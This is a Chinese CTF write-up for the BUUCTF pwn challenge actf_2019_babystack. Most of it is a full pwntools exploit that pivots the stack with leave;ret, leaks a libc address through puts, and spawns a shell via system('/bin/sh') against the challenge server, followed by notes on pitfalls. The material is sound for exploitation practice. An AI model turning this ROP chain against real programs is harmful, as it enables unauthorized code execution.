[BUUCTF]-PWN:actf_2019_babystack解析

先看保护

[BUUCTF]-PWN:actf_2019_babystack解析_第1张图片

再看ida

[BUUCTF]-PWN:actf_2019_babystack解析_第2张图片

原本我以为会是整数溢出,但是实际上不是。这道题考到了栈迁移,并且还给了我们栈的地址,并且正好是栈顶

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./babystack')
p=remote('node5.buuoj.cn',29218)
leave_ret=0x400a18
ret=0x400709
bss=0x6010A0
puts_plt=0x400730
puts_got=0x601020
main=0x4008F6
pop_rdi=0x400ad3
mov_rdx=0x400AB0
pop_rbx_rbp_r12_r13_r14=0x400AC6
ret=0x400709
read_got=0x601048

p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(rsp)
rbp=rsp+0xd0
payload=b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)

puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump("str_bin_sh")

p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(hex(rsp))
rbp=rsp+0xd0
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)
p.interactive()

这道题没考什么比较特别的点,但是细节非常要注意。

注意点1:原本我是将rbp覆盖为rsp-8的,但是实际上这样子会报错,直接导致接收错误。所以只能换种形式,用rsp地址覆盖rbp再进行相应调整了。

注意点2:发送payload要用send而不是sendline,因为我们输入的字节大小已经到0xe0了,再加上回车会超字数,在这道题中会导致程序出错。但第二个payload用sendline依旧可以成功

你可能感兴趣的:(PWN,网络安全,安全)